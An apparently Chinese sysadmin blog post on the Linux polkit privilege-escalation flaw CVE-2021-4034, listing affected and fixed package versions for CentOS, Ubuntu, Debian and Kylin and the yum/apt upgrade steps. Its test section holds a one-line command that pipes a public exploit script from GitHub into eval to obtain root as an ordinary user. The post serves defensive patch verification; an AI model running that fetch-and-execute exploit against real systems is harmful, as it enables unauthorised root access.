努力挣扎的生活 努力挣扎的生活
  • 前端文章

    • JavaScript
  • 学习笔记

    • 《JavaScript教程》
    • 《JavaScript高级程序设计》
    • 《ES6 教程》
    • 《Vue》
    • 《React》
    • 《TypeScript 从零实现 axios》
    • 《Git》
    • TypeScript
    • JS设计模式总结
  • 运维基础
  • 监控
  • 日志系统
  • gitlab安装
  • jenkins安装和管理
  • Jenkins工具集成
  • pipeline流水线
  • Docker
  • Kubernetes
  • Nexus
  • Rancher
  • Prometheus
  • ELK(EFK)
  • 虚拟化
  • Mysql
  • PostgreSQL
  • Redis
  • MongoDB
  • clickhouse
关于
  • 分类
  • 标签
  • 归档
  • 收藏
  • 更多
GitHub (opens new window)

yangfk

瑟瑟发抖的小运维
  • 前端文章

    • JavaScript
  • 学习笔记

    • 《JavaScript教程》
    • 《JavaScript高级程序设计》
    • 《ES6 教程》
    • 《Vue》
    • 《React》
    • 《TypeScript 从零实现 axios》
    • 《Git》
    • TypeScript
    • JS设计模式总结
  • 运维基础
  • 监控
  • 日志系统
  • gitlab安装
  • jenkins安装和管理
  • Jenkins工具集成
  • pipeline流水线
  • Docker
  • Kubernetes
  • Nexus
  • Rancher
  • Prometheus
  • ELK(EFK)
  • 虚拟化
  • Mysql
  • PostgreSQL
  • Redis
  • MongoDB
  • clickhouse
关于
  • 分类
  • 标签
  • 归档
  • 收藏
  • 更多
GitHub (opens new window)
  • 运维基础

  • 监控

  • 日志系统

  • 安全记录

    • Nginx DNS解析漏洞(CVE-2021-23017)
    • openssh7升级到openssh9-漏洞(CVE-2024-6387)
    • docker runc升级(CVE-2021-30465)
    • acme自签证书
    • 麒麟V10升级内核
    • trivy系统漏洞扫描
    • Linux Polkit 权限提升漏洞(CVE-2021-4034)
    //
    • 运维
    • 安全记录
    yangfk
    2025-03-28

    Linux Polkit 权限提升漏洞(CVE-2021-4034)

    //

    # Linux polkit本地权限提升漏洞(CVE-2021-4034)

    github POC 地址 (opens new window)

    • centos 普通用户测试

    centos7.9 默认polkit版本:polkit-0.112-26.el7.x86_64,需要升级到以上:polkit-0.112-26.el7_9.1.x86_64

    useradd test
    su - test
    eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
    ls /root
    
    1
    2
    3
    4

    polkit.jpg

    • 受影响版本

        · 2009年5月至今发布的所有 Polkit 版本 注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。
      
    • 修复的版本

        CentOS系列:
        CentOS 6:polkit-0.96-11.el6_10.2
        CentOS 7:polkit-0.112-26.el7_9.1
        CentOS 8.0:polkit-0.115-13.el8_5.1
        CentOS 8.2:polkit-0.115-11.el8_2.2
        CentOS 8.4:polkit-0.115-11.el8_4.2
        
        Ubuntu系列:
        Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
        Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
        Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
        Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
        Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
        
        Debain系列:
        Debain stretch:policykit-1 0.105-18+deb9u2
        Debain buster:policykit-1 0.105-25+deb10u1
        Debain bullseye:policykit-1 0.105-31+deb11u1
        Debain bookworm,bullseye:policykit-1 0.105-31.1
      
        麒麟v10
        漏洞修复版本:0.116-6.ky10 # devel,help,libs 总共四个包
      

    # 修复

    • CentOS:
    yum clean all && yum makecache #需要配置base源
    yum update polkit -y
    
    1
    2

    wget https://download.yfklife.cn/blog/ops/security/polkit-0.112-26.el7_9.1.x86_64.rpm

    • Ubuntu:
    sudo apt-get update #需要配置base源
    sudo apt-get install policykit-1
    
    1
    2
    //
    如果此文章对您有帮助,点击 -->> 请博主喝咖啡 (opens new window)
    上次更新: 2025/03/28, 13:42:54
    trivy系统漏洞扫描

    ← trivy系统漏洞扫描

    最近更新
    01
    postgreSQL维护
    03-17
    02
    trivy系统漏洞扫描
    02-25
    03
    ubuntu镜像时区问题
    12-31
    更多文章>
    Theme by Vdoing | Copyright © 2019-2025 yangfk | 湘ICP备2021014415号-1
    • 跟随系统
    • 浅色模式
    • 深色模式
    • 阅读模式
    ×
    //